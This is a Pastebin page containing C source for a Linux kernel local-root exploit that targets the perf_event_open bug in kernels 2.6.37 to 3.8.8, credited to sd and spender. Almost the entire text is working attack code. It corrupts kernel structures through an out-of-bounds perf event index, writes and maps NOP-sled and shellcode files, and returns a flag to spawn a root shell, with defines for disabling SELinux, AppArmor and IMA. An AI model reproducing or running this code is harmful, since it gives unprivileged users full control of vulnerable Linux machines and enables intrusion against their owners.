Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * original exploit by sd@fucksheep.org, written in 2010
- * heavily modified by spender to do things and stuff
- */
- #define _GNU_SOURCE 1
- #include <stdint.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <sys/mman.h>
- #include <syscall.h>
- #include <stdint.h>
- #include <sys/utsname.h>
- #include <fcntl.h>
- #include <assert.h>
- #define BIT64 (sizeof(unsigned long) != sizeof(unsigned int))
- #define STRAIGHT_UP_EXECUTION_AT_NULL 0x31337
- /* for overflows */
- #define EXIT_KERNEL_TO_NULL 0x31336
- #define EXECUTE_AT_NONZERO_OFFSET 0xfffff000 // OR the offset with this
- /* defines for post_exploit */
- #define RUN_ROOTSHELL 0x5150
- #define CHMOD_SHELL 0x5151
- #define FUNNY_PIC_AND_ROOTSHELL 0xdeadc01d
- typedef unsigned long (*_get_kernel_sym)(char *name);
- typedef unsigned long __attribute__((regparm(3))) (*_kallsyms_lookup_name)(char *name);
- struct exploit_state {
- _get_kernel_sym get_kernel_sym;
- _kallsyms_lookup_name kallsyms_lookup_name;
- void *own_the_kernel;
- void *exit_kernel;
- char *exit_stack;
- int run_from_main;
- int got_ring0;
- int got_root;
- };
- #define EFL_RESERVED1 (1 << 1)
- #define EFL_PARITY (1 << 2)
- #define EFL_ZEROFLAG (1 << 6)
- #define EFL_INTERRUPTENABLE (1 << 9)
- #define EFL_IOPL3 ((1 << 12) | (1 << 13))
- #define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE)
- /* for insta-iopl 3, for whatever reason!
- #define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3)
- */
- #define DISABLED_LSM 0x1
- #define DISABLED_IMA 0x2
- #define DISABLED_APPARMOR 0x4
- #define DISABLED_SELINUX 0x8
- struct exploit_state *exp_state;
- int is_old_kernel = 0;
- char *desc = "Abacus: Linux 2.6.37 -> 3.8.8 PERF_EVENTS local root";
- int requires_null_page = 0;
- #define JMPLABELBASE64 0x1780000000
- #define JMPLABELBASE32 0x1a00000
- #define JMPLABELBASE (BIT64 ? JMPLABELBASE64 : JMPLABELBASE32)
- #define JMPLABELNOMODBASE64 0xd80000000
- #define JMPLABELNOMODBASE32 0x40000000
- #define JMPLABELNOMODBASE (BIT64 ? JMPLABELNOMODBASE64 : JMPLABELNOMODBASE32)
- #define BASE64 0x380000000
- #define BASE32 0x80000000
- #define BASE (BIT64 ? BASE64 : BASE32)
- #define SIZE64 0x010000000
- #define SIZE32 0x02000000
- #define SIZE (BIT64 ? SIZE64 : SIZE32)
- #define KSIZE (BIT64 ? 0x2000000 : 0x2000)
- #define SYSCALL_NO (BIT64 ? 298 : 336)
- #define MAGICVAL (BIT64 ? 0x44444443 : 0x44444445)
- static int wrap_val;
- static int structsize;
- static int has_jmplabel;
- static int is_unaligned;
- static int target_offset;
- static int computed_index;
- static unsigned long target_addr;
- static unsigned long array_base;
- unsigned long kbase;
- struct {
- uint16_t limit;
- uint64_t addr;
- } __attribute__((packed)) idt;
- int get_exploit_state_ptr(struct exploit_state *ptr)
- {
- exp_state = ptr;
- return 0;
- }
- int ring0_cleanup(void)
- {
- if (BIT64) {
- *(unsigned int *)(target_addr + target_offset) = 0xffffffff;
- /* clean up the probe effects for redhat tears */
- (*(unsigned int *)(array_base - structsize))--;
- (*(unsigned int *)(array_base - (2 * structsize)))--;
- }
- /* on 32bit we let the kernel clean up for us */
- return 0;
- }
- int main_pid;
- int signals_dont_work[2];
- int total_children;
- static int send_event(uint32_t off) {
- uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x320 };
- int fd;
- if ((int)off >= 0) {
- printf(" [-] Target is invalid, index is positive.\n");
- exit(1);
- }
- if (getpid() == main_pid)
- printf(" [+] Submitting index of %d to perf_event_open\n", (int)off);
- fd = syscall(SYSCALL_NO, buf, 0, -1, -1, 0);
- if (fd < 0) {
- printf(" [-] System rejected creation of perf event.\n");
- exit(1);
- }
- if (BIT64)
- close(fd);
- return fd;
- }
- //static unsigned long security_ops;
- static unsigned long perf_swevent_enabled;
- static unsigned long ptmx_fops;
- int trigger(void)
- {
- /* !SMEP version */
- printf(" [!] Array base is %p\n", (void *)array_base);
- printf(" [!] Detected structure size of %d bytes\n", structsize);
- printf(" [!] Targeting %p\n", (void *)(array_base + (structsize * computed_index)));
- #ifdef __x86_64__
- send_event(computed_index);
- if (is_unaligned) {
- asm volatile (
- "pushfq\n"
- "orq $0x40000, (%rsp)\n"
- "popfq\n"
- "test %rax, 0x1(%rsp)\n"
- );
- } else {
- asm("int $0x4");
- }
- #else
- {
- unsigned long kbase_counter = 0;
- int ret;
- int fd;
- int pipes[2];
- int i;
- char garbage;
- /* child notification/reaping code from zx2c4 */
- pipe(pipes);
- pipe(signals_dont_work);
- main_pid = getpid();
- total_children = 0;
- while (kbase_counter < kbase) {
- if (!fork()) {
- int x;
- for (x = 0; x < 512; x++)
- send_event(computed_index);
- write(pipes[1], &garbage, 1);
- read(signals_dont_work[0], &garbage, 1);
- _exit(0);
- }
- kbase_counter += 512;
- total_children++;
- }
- for (i = 0; i < total_children; i++)
- read(pipes[0], &garbage, 1);
- fd = open("/dev/ptmx", O_RDWR);
- if (fd < 0) {
- printf(" [-] Unable to open /dev/ptmx\n");
- exit(1);
- }
- {
- struct iovec iov;
- /* this choice is arbitrary */
- iov.iov_base = &iov;
- iov.iov_len = sizeof(iov);
- /* this one is not ;) */
- readv(fd, &iov, 1);
- }
- }
- #endif
- /* SMEP/SMAP version, shift security_ops */
- //security_ops = (unsigned long)exp_state->get_kernel_sym("security_ops");
- //for (i = 0; i < sizeof(unsigned long); i++)
- // send_event(-wrap_val + ((security_ops&0xffffffff)-0x80000000)/4, 1);
- // add fancy trigger here
- return 0;
- }
- int post(void)
- {
- write(signals_dont_work[1], &total_children, total_children);
- return RUN_ROOTSHELL;
- }
- static int find_mod_in_mapping(unsigned int *mem, unsigned long len, int *idx)
- {
- unsigned long i, x;
- for (i = 0; i < len/4; i++) {
- if (mem[i] == MAGICVAL) {
- for (x = 1; x < 7; x++) {
- if (mem[i+x] == MAGICVAL) {
- *idx = i;
- return 4 * x;
- }
- }
- break;
- }
- }
- return 0;
- }
- int prepare(unsigned char *buf)
- {
- unsigned char *mem;
- unsigned char *p;
- int fd;
- unsigned int *map1, *map2, *map3;
- int i, x;
- unsigned long idx;
- char c;
- int fd1, fd2;
- assert((map1 = mmap((void*)BASE, SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0,0)) == (void*)BASE);
- memset(map1, 0x44, SIZE);
- assert((map2 = mmap((void*)JMPLABELBASE, SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0,0)) == (void*)JMPLABELBASE);
- memset(map2, 0x44, SIZE);
- assert((map3 = mmap((void*)JMPLABELNOMODBASE, SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0,0)) == (void*)JMPLABELNOMODBASE);
- memset(map3, 0x44, SIZE);
- fd1 = send_event(BIT64 ? -1 : -(1024 * 1024 * 1024)/4);
- fd2 = send_event(BIT64 ? -2 : -(1024 * 1024 * 1024)/4-1);
- structsize = find_mod_in_mapping(map1, SIZE, &i);
- if (!structsize) {
- structsize = find_mod_in_mapping(map2, SIZE, &i);
- if (!structsize) {
- structsize = find_mod_in_mapping(map3, SIZE, &i);
- if (!structsize) {
- printf(" [-] Unsupported configuration.\n");
- if (!BIT64) {
- close(fd1);
- close(fd2);
- }
- exit(1);
- } else
- has_jmplabel = 1;
- } else
- has_jmplabel = 1;
- }
- /* permit the dec back */
- if (!BIT64) {
- close(fd1);
- close(fd2);
- }
- wrap_val = 4 * i + 2 * structsize;
- if (BIT64) {
- /* use masked kernel range here */
- asm ("sidt %0" : "=m" (idt));
- kbase = idt.addr & 0xff000000;
- target_addr = idt.addr;
- array_base = 0xffffffff80000000UL | wrap_val;
- /* do we need to target AC instead? */
- if (has_jmplabel) {
- if ((array_base - target_addr) % structsize) {
- is_unaligned = 1;
- target_offset = 0x118;
- } else
- target_offset = 0x48;
- } else
- target_offset = 0x48;
- computed_index = -((array_base-target_addr-target_offset)/structsize);
- } else {
- int brute;
- /* use just above mmap_min_addr here */
- kbase = 0;
- while (1) {
- mem = (unsigned char *)mmap((void *)kbase, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
- if (mem != MAP_FAILED) {
- munmap((void *)kbase, 0x1000);
- break;
- } else
- kbase += 0x1000;
- }
- array_base = (unsigned long)exp_state->get_kernel_sym("perf_swevent_enabled");
- target_addr = (unsigned long)exp_state->get_kernel_sym("ptmx_fops");
- if (!target_addr || !array_base) {
- printf(" [-] Symbols required for i386 exploitation (in this exploit).\n");
- exit(1);
- }
- target_offset = 4 * sizeof(unsigned int);
- computed_index = 0;
- for (brute = -1; brute < 0; brute--) {
- if (array_base + (brute * structsize) == (target_addr + target_offset)) {
- computed_index = brute;
- break;
- }
- }
- if (!computed_index) {
- printf(" [-] Unable to reach ptmx_fops target under this configuration.\n");
- exit(1);
- }
- }
- /* elito hungarian technique */
- fd = open("./suckit_selinux_nopz", O_CREAT | O_WRONLY, 0644);
- if (fd < 0) {
- printf("unable to create nop sled file\n");
- exit(1);
- }
- mem = (unsigned char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
- if (mem == MAP_FAILED) {
- printf("unable to mmap nop sled\n");
- goto error;
- }
- memset(mem, 0x90, 0x1000);
- write(fd, mem, 0x1000);
- close(fd);
- munmap(mem, 0x1000);
- fd = open("./suckit_selinux", O_CREAT | O_WRONLY, 0644);
- if (fd < 0) {
- printf("unable to create shellcode file\n");
- exit(1);
- }
- mem = (unsigned char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
- if (mem == MAP_FAILED) {
- printf("unable to mmap nop sled\n");
- goto error;
- }
- memset(mem, 0x90, 0x1000);
- p = (unsigned char *)(mem + 0x1000 - 3 - (2 * (2 + 4 + sizeof(unsigned long))));
- if (BIT64) {
- // swapgs
- p[0] = 0x0f;
- p[1] = 0x01;
- p[2] = 0xf8;
- }
- p += 3;
- // call own_the_kernel
- p[0] = 0xff;
- p[1] = 0x15;
- *(unsigned int *)&p[2] = BIT64 ? 6 : kbase + KSIZE - (2 * sizeof(unsigned long));
- // call exit_kernel
- p[6] = 0xff;
- p[7] = 0x25;
- *(unsigned int *)&p[8] = BIT64 ? sizeof(unsigned long) : kbase + KSIZE - sizeof(unsigned long);
- *(unsigned long *)&p[12] = (unsigned long)exp_state->own_the_kernel;
- *(unsigned long *)&p[12 + sizeof(unsigned long)] = (unsigned long)exp_state->exit_kernel;
- write(fd, mem, 0x1000);
- close(fd);
- munmap(mem, 0x1000);
- fd = open("./suckit_selinux_nopz", O_RDONLY);
- if (fd < 0) {
- printf("unable to open nop sled file for reading\n");
- goto error;
- }
- // map in nops and page them in
- for (idx = 0; idx < (KSIZE/0x1000)-1; idx++) {
- mem = (unsigned char *)mmap((void *)(kbase + idx * 0x1000), 0x1000, PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE, fd, 0);
- if (mem != (unsigned char *)(kbase + idx * 0x1000)) {
- printf("unable to mmap\n");
- goto error;
- }
- if (!idx)
- assert(!mlock(mem, 0x1000));
- c = *(volatile char *)mem;
- }
- fd = open("./suckit_selinux", O_RDONLY);
- if (fd < 0) {
- printf("unable to open shellcode file for reading\n");
- goto error;
- }
- mem = (unsigned char *)mmap((void *)(kbase + KSIZE - 0x1000), 0x1000, PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE, fd, 0);
- if (mem != (unsigned char *)(kbase + KSIZE - 0x1000)) {
- printf("unable to mmap\n");
- goto error;
- }
- assert(!mlock(mem, 0x1000));
- c = *(volatile char *)mem;
- unlink("./suckit_selinux");
- unlink("./suckit_selinux_nopz");
- return 0;
- error:
- unlink("./suckit_selinux");
- unlink("./suckit_selinux_nopz");
- exit(1);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement